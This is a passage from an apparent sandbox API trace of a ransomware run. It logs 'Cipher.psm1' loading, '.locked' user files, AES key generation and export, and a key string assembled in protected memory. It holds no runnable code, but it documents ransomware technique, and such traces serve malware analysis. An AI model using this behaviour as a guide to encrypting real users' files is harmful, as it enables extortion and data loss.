[2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.263] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.263] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.264] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae058) returned 1 [0126.267] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6cab528 | out: lpFileInformation=0x6cab528*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe78c521, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xe78c521, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xe78c521, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xa2d4)) returned 1 [0126.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae054) returned 1 [0126.267] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adb34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3.locked", lpFilePart=0x0) returned 0x55 [0126.267] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0126.267] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ae0a0 | out: lpFileInformation=0x99ae0a0) returned 1 [0126.267] CloseHandle (hObject=0x874) returned 1 [0126.270] GetConsoleOutputCP () returned 0x1b5 [0126.271] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.271] GetConsoleOutputCP () returned 0x1b5 [0126.280] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.280] GetConsoleOutputCP () returned 0x1b5 [0126.281] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.281] GetConsoleOutputCP () returned 0x1b5 [0126.282] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.282] GetConsoleOutputCP () returned 0x1b5 [0126.284] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.284] GetConsoleOutputCP () returned 0x1b5 [0126.284] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.285] GetConsoleOutputCP () returned 0x1b5 [0126.285] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.285] GetConsoleOutputCP () returned 0x1b5 [0126.286] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.286] GetConsoleOutputCP () returned 0x1b5 [0126.286] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.286] GetConsoleOutputCP () returned 0x1b5 [0126.288] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.288] GetConsoleOutputCP () returned 0x1b5 [0126.289] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.289] GetConsoleOutputCP () returned 0x1b5 [0126.290] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.290] GetConsoleOutputCP () returned 0x1b5 [0126.291] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.291] GetConsoleOutputCP () returned 0x1b5 [0126.291] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.291] GetConsoleOutputCP () returned 0x1b5 [0126.292] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.292] GetConsoleOutputCP () returned 0x1b5 [0126.295] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.295] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae69c | out: lpConsoleScreenBufferInfo=0x99ae69c) returned 1 [0126.296] GetConsoleOutputCP () returned 0x1b5 [0126.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae638, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae638) returned 0 [0126.296] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0126.297] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6cd26b0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x6cd26b0*, lpNumberOfCharsWritten=0x99ae69c*=0x77) returned 1 [0126.298] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0126.298] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae69c*=0x2) returned 1 [0126.302] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.302] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.302] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeaa4, nSize=0x100 | out: lpBuffer="\xdf00\x676\x40\x677\x1f44\x6c4\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x1000\x666\xe860\x676\x1f44\x6c4\x500") returned 0x0 [0126.302] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0126.303] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.303] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.303] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.305] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae6f8, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x3067\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0126.305] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0126.305] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.305] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.305] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.306] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x8e02360) returned 1 [0126.306] CryptGenKey (in: hProv=0x8e02360, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e84db8) returned 1 [0126.306] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.307] CryptExportKey (in: hKey=0x8e84db8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0126.307] CryptExportKey (in: hKey=0x8e84db8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x68e587c, pdwDataLen=0x99ae788 | out: pbData=0x68e587c*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0126.307] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2ec, nSize=0x100 | out: lpBuffer="\x41d8\xdbae\x62da\x56b7\xdffe\xad84\xd8c3\x81a7\xab1f\x577f\x980b\x7671\x1f95\x99fb\xc316\x1fb6\x7465\x7971\x5ba4\xbb8a\x9f06\x1d85\xe508\x6ff6\x4560\xd730\x10c1\x581c\x918c\xdafa\xc14\xf109\xb241\xe426\xe484\x99a\x86d0\x42c\xe488\x99a\x87a8\x42c\xe388\x99a\x65bc\x7477\xe3a8\x99a\x08") returned 0x0 [0126.307] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.307] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.307] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.307] SysStringLen (param_1="") returned 0x8 [0126.307] SysStringLen (param_1="A") returned 0x8 [0126.307] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.307] SysStringLen (param_1="\x830a\xe466\x85d8\x5732\xf0d2\x63f2\x6cc1\x4b6") returned 0x8 [0126.308] SysStringLen (param_1="\x830a\xe466\x85d8\x5732\xf0d2\x63f2\x6cc1\x4b6") returned 0x8 [0126.308] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.308] SysStringLen (param_1="A9") returned 0x8 [0126.308] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.308] SysStringLen (param_1="\x65ac\xdfde\x5676\x2f84\x7606\x985\x6ef3\x4456") returned 0x8 [0126.308] SysStringLen (param_1="\x65ac\xdfde\x5676\x2f84\x7606\x985\x6ef3\x4456") returned 0x8 [0126.308] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.308] SysStringLen (param_1="A91") returned 0x8 [0126.308] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.308] SysStringLen (param_1="\x6313\xf417\x4557\xd3cf\xef1a\x5b87\x31e4\x191e") returned 0x8 [0126.308] SysStringLen (param_1="\x6313\xf417\x4557\xd3cf\xef1a\x5b87\x31e4\x191e") returned 0x8 [0126.308] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.308] SysStringLen (param_1="A91a") returned 0x8 [0126.308] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.308] SysStringLen (param_1="\xbb76\x725d\xa93e\x82ea\x679d\xab1b\xfa39\x8054") returned 0x8 [0126.308] SysStringLen (param_1="\xbb76\x725d\xa93e\x82ea\x679d\xab1b\xfa39\x8054") returned 0x8 [0126.308] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.308] SysStringLen (param_1="A91aD") returned 0x8 [0126.308] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.309] SysStringLen (param_1="\xab77\xa78c\xae6f\xcaa5\x84ea\xd14a\x8574\xdb77") returned 0x8 [0126.309] SysStringLen (param_1="\xab77\xa78c\xae6f\xcaa5\x84ea\xd14a\x8574\xdb77") returned 0x8 [0126.309] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.318] SysStringLen (param_1="A91aDq") returned 0x8 [0126.318] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.318] SysStringLen (param_1="\x6f9f\x8c63\xc104\x840b\xe7c9\xef2b\x6382\xc8fd") returned 0x8 [0126.318] SysStringLen (param_1="\x6f9f\x8c63\xc104\x840b\xe7c9\xef2b\x6382\xc8fd") returned 0x8 [0126.318] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.318] SysStringLen (param_1="A91aDqF") returned 0x8 [0126.318] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.319] SysStringLen (param_1="\x8698\xcffc\x8935\x8f3\x4584\x1f05\xcb5\x9fd3") returned 0x8 [0126.319] SysStringLen (param_1="\x8698\xcffc\x8935\x8f3\x4584\x1f05\xcb5\x9fd3") returned 0x8 [0126.319] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.319] SysStringLen (param_1="A91aDqF+") returned 0x8 [0126.319] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.319] SysStringLen (param_1="ጜ愱泌䍲撪ㆋ﬚옢") returned 0x8 [0126.319] SysStringLen (param_1="ጜ愱泌䍲撪ㆋ﬚옢") returned 0x8 [0126.319] SysStringLen (param_1="ጜ愱泌䍲撪ㆋ﬚옢") returned 0x8 [0126.319] SysStringLen (param_1="ጜ愱泌䍲撪ㆋ﬚옢") returned 0x10 [0126.319] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.319] SysStringLen (param_1="A91aDqF+i愛訠䉴ꁪ┞뻡") returned 0x10 [0126.319] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.319] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\xa2dc\x8784\x995b\xa6e3\x741f\xe875\xd7f\x401d") returned 0x10 [0126.319] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\xa2dc\x8784\x995b\xa6e3\x741f\xe875\xd7f\x401d") returned 0x10 [0126.319] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.319] SysStringLen (param_1="A91aDqF+iW訠䉴ꁪ┞뻡") returned 0x10 [0126.319] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.319] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x98f4\x4d8d\x6343\x8a36\x4134\xcc4e\xd9f8\x7f43") returned 0x10 [0126.319] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x98f4\x4d8d\x6343\x8a36\x4134\xcc4e\xd9f8\x7f43") returned 0x10 [0126.319] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.319] SysStringLen (param_1="A91aDqF+iW5䉴ꁪ┞뻡") returned 0x10 [0126.319] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.320] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x4a7e\xf55a\x50af\x80d8\x314b\x88a5\xb081\x85db") returned 0x10 [0126.320] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x4a7e\xf55a\x50af\x80d8\x314b\x88a5\xb081\x85db") returned 0x10 [0126.320] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.320] SysStringLen (param_1="A91aDqF+iW5yꁪ┞뻡") returned 0x10 [0126.320] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.320] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\xc9f1\x3282\xb751\x6589\x2ec7\xfd5\xdb82\xb23f") returned 0x10 [0126.320] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\xc9f1\x3282\xb751\x6589\x2ec7\xfd5\xdb82\xb23f") returned 0x10 [0126.320] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.320] SysStringLen (param_1="A91aDqF+iW5ye┞뻡") returned 0x10 [0126.320] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.320] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x6b01\x893c\xa6fb\xbca7\xb542\xa318\x4087\x108e") returned 0x10 [0126.320] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x6b01\x893c\xa6fb\xbca7\xb542\xa318\x4087\x108e") returned 0x10 [0126.320] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.320] SysStringLen (param_1="A91aDqF+iW5yeR뻡") returned 0x10 [0126.320] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.320] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\xc3c3\x990b\x412c\xe727\xb91e\xcc99\x64ca\x3d58") returned 0x10 [0126.320] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\xc3c3\x990b\x412c\xe727\xb91e\xcc99\x64ca\x3d58") returned 0x10 [0126.320] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.321] SysStringLen (param_1="A91aDqF+iW5yeRp") returned 0x10 [0126.321] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.321] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\xc687\x4fd\xeea9\x7c3\x5e31\xf2e\x3c0b\xf6f0") returned 0x10 [0126.321] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\xc687\x4fd\xeea9\x7c3\x5e31\xf2e\x3c0b\xf6f0") returned 0x10 [0126.321] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.321] SysStringLen (param_1="A91aDqF+iW5yeRpM") returned 0x10 [0126.321] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.321] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b") returned 0x10 [0126.321] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b") returned 0x10 [0126.321] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b") returned 0x10 [0126.321] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b") returned 0x18 [0126.321] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.321] SysStringLen (param_1="A91aDqF+iW5yeRpMS躙큻踒倭㔒敕ᚸ") returned 0x18 [0126.321] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.321] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\xf6d7\x3ba2\xb719\x3fae\xf082\x678a\x7456\x34bd") returned 0x18 [0126.321] SysStringLen 